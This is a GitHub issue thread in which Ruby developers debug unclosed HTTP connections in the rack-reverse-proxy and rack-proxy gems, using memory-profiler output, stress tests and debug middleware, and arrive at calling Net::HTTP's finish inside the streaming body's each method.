        10  "/test"
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/request.rb:404
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/urlmap.rb:60
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/urlmap.rb:62
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/rule.rb:150
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/rule.rb:48
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/generic.rb:1047
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/generic.rb:980
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/http.rb:105
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/rfc3986_parser.rb:59
         1  /Users/oleksii/workspace/rack-reverse-proxy-bench/app.ru:11

        10  "HOST"
         6  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:472
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:84

        10  "X"
         6  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:187
         2  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:215
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:57

        10  "user-agent"
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:45
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/generic_request.rb:71
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:158
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:35

         9  "/"
         2  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/urlmap.rb:30
         2  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/urlmap.rb:63
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/rfc3986_parser.rb:44
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/urlmap.rb:34
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/urlmap.rb:35
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/generic.rb:980

         9  "ACCEPT"
         6  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:472

         9  "ACCEPT-ENCODING"
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:472
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37

         9  "ACCEPT-LANGUAGE"
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:472
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37

         9  "ACCEPT_ENCODING"
         9  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37

         9  "ACCEPT_LANGUAGE"
         9  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37

         9  "Accept"
         5  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:187
         2  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:215
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/generic_request.rb:331
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/generic_request.rb:45

         9  "CACHE-CONTROL"
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:472
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37

         9  "CACHE_CONTROL"
         9  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37

         9  "CONNECTION"
         6  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:472

         9  "COOKIE"
         6  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:472

         9  "USER-AGENT"
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:472
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37

         9  "USER_AGENT"
         9  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37

         9  "VERSION"
         6  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:472

         9  "accept-encoding"
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/generic_request.rb:71
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:476
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:158

         9  "x-forwarded-for"
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:465
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:158

         7  "connection"
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:158
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:187

         7  "cookie"
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:158
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:187

         7  "http"
         3  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/generic.rb:333
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/generic.rb:1480
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/rfc3986_parser.rb:24

         7  "version"
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:158
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:187

         6  "::1"
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:22
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:180

         6  "C"
         6  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:57

         6  "Cache"
         4  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:215
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:187

         6  "Content"
         4  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:215
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:187

         6  "Forwarded"
         6  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:187

         6  "Host"
         5  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:187
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/generic_request.rb:331

         6  "UPGRADE-INSECURE-REQUESTS"
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37

         6  "UPGRADE_INSECURE_REQUESTS"
         6  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37

         6  "accept-language"
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:158

         6  "date"
         2  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:215
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:64

         6  "expires"
         2  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:215
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:64

         6  "server"
         2  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:215
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:64

         6  "upgrade-insecure-requests"
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:158

         6  "vary"
         2  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:215
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:64

         5  "/test?pp=profile-memory"
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/request.rb:408
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/rule.rb:151
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/generic_request.rb:27
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/http.rb:105
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/rfc3986_parser.rb:52

         5  "Cache-Control"
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:215
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:216
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/generic_request.rb:331
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:187
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:62

Retained String Report
-----------------------------------
         2  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/10.0.3 Safari/602.4.8"
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         2  "cache-control"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67

         2  "example.org"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/rfc3986_parser.rb:41

         2  "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         1  "\r\n<!doctype html>\n<html>\n<head>\n    <title>Example Domain</title>\n\n    <meta charset=\"utf-8\" />\n    <meta http-equiv=\"Content-type\" content=\"text/html; charset=utf-8\" />\n    <meta name=\"viewport\" conte"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/protocol.rb:190

         1  "/test?pp=profile-memory"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/generic_request.rb:27

         1  "0"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:288

         1  "1"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         1  "1.1"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:43

         1  "1270"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:62

         1  "404"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:43

         1  "404-HIT"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:62

         1  "9292"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         1  "::1"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         1  "<!doctype html>\n<html>\n<head>\n    <title>Example Domain</title>\n\n    <meta charset=\"utf-8\" />\n    <meta http-equiv=\"Content-type\" content=\"text/html; charset=utf-8\" />\n    <meta name=\"viewport\" content"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/protocol.rb:87

         1  "Accept-Encoding"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:62

         1  "Date: Wed, 29 Mar 2017 19:10:40 GMT"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:62

         1  "ECS (iad/18EF)"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:62

         1  "Expires: Wed, 05 Apr 2017 19:10:40 GMT"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:62

         1  "HTTP/1.1"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         1  "Last-Modified: Sun, 26 Mar 2017 13:13:23 GMT"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:62

         1  "Not Found"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:43

         1  "Sun, 26 Mar 2017 13:13:23 GMT"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:62

         1  "Wed, 05 Apr 2017 19:10:40 GMT"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:62

         1  "Wed, 29 Mar 2017 19:10:40 GMT"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:62

         1  "__profilin=p%3Dt"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         1  "accept"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         1  "accept-language"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         1  "accept-ranges"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67

         1  "bytes"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:62

         1  "connection"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         1  "content-length"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67

         1  "content-type"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67

         1  "cookie"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         1  "date"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67

         1  "en-us"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         1  "expires"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67

         1  "host"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         1  "keep-alive"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         1  "last-modified"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67

         1  "localhost"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         1  "max-age=0"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         1  "max-age=604800"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:62

         1  "server"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67

         1  "text/html"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:62

         1  "upgrade-insecure-requests"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         1  "user-agent"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         1  "vary"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67

         1  "version"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21

         1  "x-cache"
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67

science! 🔬
I'm not familiar with reading the output of that tool -- are you able to draw conclusions, or is this just initial data to consider?

Most interesting parts that I grasp from it are:
retained objects by location
-----------------------------------
         ...
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/response_builder.rb:51
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:79
        ....

okay so this code (in master, haven't double checked to make sure 2.4 is the same)
    def target_response
      @_target_response ||= Rack::HttpStreamingResponse.new( #51
        target_request,
        uri.host,
        uri.port
      )
    end

    def build_target_request
      Net::HTTP.const_get(
        source_request.request_method.capitalize
      ).new(uri.request_uri) #79
    end

@waterlink maybe in your test setup you can put in a print statement in target_response to make sure it memoizes once per request and not once per app instantiation? (assuming that's the intention)

It seems that tool, also, outputs retained strings and objects. All retained strings look like headers and their values. So I'm actually assuming, that most of retained things are the ones that go out of the app through the http response eventually.

@jjb also, how much load on average does your website/app has, especially the endpoints that proxy to the blog?

how much load on average does your website/app has, especially the endpoints that proxy to the blog?

pretty low, we haven't launched it yet. so we are just working on it internally while we set it up.
i'm doing a test right now to see if file descriptors are being leaked (cat /proc/sys/fs/file-nr on linux)

@jjb Also, I've just ran GC profiling tool + Apache Bench benchmark in parallel with high concurrency until it started failing and the object counts spiked up, but in a few moments after AB finished all the related object counts has gone down to 1 (the ones that are created for current request). So it seems like unclosed resource so far, not a memory leak.

doing a local test, while stress testing with ab, the number on the left of cat /proc/sys/fs/file-nr went up initially and then leveled, so there's nothing there.
@waterlink have you heard of people having similar problems? i couldn't find any other tickets about this, so I actually figured maybe my setup (https://github.com/waterlink/rack-reverse-proxy/wiki/How-to-stream-a-WordPress-blog-through-a-Rack-app) was at least part of the problem.

with this config.ru
require_relative 'config/environment'

class DebugMiddleware
  def initialize(app)
    @app = app
  end

  def call(env)
    unclosed_files = 0
    ObjectSpace.each_object(IO) do |f|
      unclosed_files +=1 unless f.closed?
    end
    p "unclosed files: #{unclosed_files}"
    @app.call(env)
  end
end

use DebugMiddleware
run Rails.application

and stress testing with ab, the count will go up to around 60 or 70, then get cleaned up and jump down to 15, climb back up to 60 or 70.
i also tried it with a simpler, synchronous stress test watch --interval 0.1 curl -s --head http://..., with similar results
so what's interesting is that they aren't cleaned up per-request, they are cleaned up by some other system, presumably ruby. so maybe if a indexing bot comes to visit, the barrage of requests won't clean up in time.
I'll try to change the rack-proxy code to explicitly close connections and see if that helps.

Yeah, I see what you mean. They are cleaned up by ruby's garbage collector. It is definitely an amazing idea to close them at the end of the request. Thank you for the investigation!

okay here we go. with these two debug lines in rack-proxy, "begin_request_hacked" is printed with each request, and "end_request_hacked" is /never/ printed

end_request_hacked is only called when each is called on HttpStreamingResponse.
but only body is called on it in rack-reverse-proxy: https://github.com/waterlink/rack-reverse-proxy/blob/master/lib/rack_reverse_proxy/roundtrip.rb#L200-L202
HttpStreamingResponse#body returns self, so presumably some other code down the line calls something else on it. my first guess was to_s, but HttpStreamingResponse#to_s calls each, which should then call end_request_hacked.
i'll put in some more debug code

only body is called. each and to_s are never called. my guess was read, but putting this into HttpStreamingResponse
    def	read
      p ">>> read"
      super
    end

yielded no output.
now to put in some funky metaprogramming code to see what methods are called after it's passed as the rack response...

@jjb When a rack middleware returns a triple of form [status, headers, body], rack itself will read the body using body.each method. Or at least, if you put some object there that don't have each defined ruby will raise NoMethodError with appropriate message telling that no method each defined on this object.

🤦♂ i was testing with HEAD requests so that's why the body wasn't being read. starting debugging again now with GET
@waterlink thanks for the info re: rack, that's what i assumed but behavior didn't show that... until i switched to GET

each and end_request_hacked are in fact being called, now to figure out if/why end_request_hacked isn't sufficient

BINGO 💥
with this new line in this file of rack-proxy, the unclosed file count remains constant
    def each(&block)
      response.read_body(&block)
    ensure
      session.end_request_hacked
      session.finish # new line
    end

rack-proxy does call end_transport, which calls close on the socket, so I'm not sure about semantic differences or best practices here. but finish is what the documentation for Net::HTTP says to use when not using block style (https://docs.ruby-lang.org/en/2.2.0/Net/HTTP.html#class-Net::HTTP-label-How+to+use+Net-3A-3AHTTP), so seems me that should probably be somewhere in the rack-proxu code.
@ncr, would be great to have your thoughts at this point.
meanwhile i'll experiment if there is a way to get the fix into rack-reverse-proxy

@jjb Sounds amazing! Thank you for finding this out!

okay, this code in rack-reverse-proxy, with an unmodified rack-proxy, also fixed the problem
    def rack_response
      sio = StringIO.new(target_response.to_s)
      target_response.send(:session).finish
      [target_response.status, response_headers, sio]
    end

options going forward:

fix rack-proxy
monkeypatch rack-proxy
more efficient version of the above code - a wrapper class that reads lines from the target_response one by one and then closed it when done, instead of having to instantiate a whole new object with all the content ahead of time

The proposed version of def rack_response would work for proxying html pages. It would not work very well with real streaming responses, such as high resolution images, video stream, or file download. So I would say: either fix it in rack-proxy or provide an efficient wrapper.
If you know that your app is not subject to aforementioned problems, you could monkey-patch either rack-proxy or rack-reverse-proxy. Bear in mind, that it would be wise to monkey-patch only at the public API level, not at the internal level. This is because at internal level any semantic-version-compliant refactoring within minor and patch level version bump may break your monkey patch.

I see. I actually don't know if this "leak" of open files is the cause of my problems, or if it's a leak at all. In my test it gets cleaned up regularly, but it seemed to be a potential place that maybe some out of the ordinary circumstance would cause problems to eventually happen where it was a real leak.
From your above comment it seems you know what the semantics of end_transport?

@jjb I am not sure what is the difference between end_transport and finish. Could be that end_transport only closes the connection, but does not discard some timeouts or even threads that were created for connection (I do see that count of Timeout objects grows when benching, and they never are deleted); finish might do just that.
I guess the only true way to find it out is to look at the ruby stdlib's source code.

🎶 hello Timeout my old friend 🎶

If you don't know the difference, why are you confident that finish will disrupt streaming responses but end_transport will not (IIUC)?

I wasn't talking about difference of finish and end_transport, rather about difference where we can call them.
Calling them in the context of def rack_response function will read the whole response body into the memory first and only then give it back to the user. It does not actually disrupt anything, it just makes it impossible (or very memory-hungry) to do these streaming responses.
If we call finish and/or end_transport in each function of the response body, it is different deal, because Rack will take bits of response body and give them to the end user/client one at a time (streaming).

Last 2 paragraphs are too abstract. Here is the example code:
# BAD because it reads the whole body into the memory before giving it to the rack
def rack_response
  sio = StringIO.new(target_response.to_s)
  target_response.send(:session).finish      # or .end_transport
  [target_response.status, response_headers, sio]
end

# GOOD because it will let rack use `#each` and read body piece by piece
def rack_response
  finishing_wrapper = FinishingWrapper.new(target_response)
  [target_response.status, response_headers, finishing_wrapper]
end

class FinishingWrapper
  def initialize(delegatee) @delegatee = delegates; end

  def each(&blk)
    @delegatee.each(&blk)
    @delegatee.send(:session).finish
  end
end

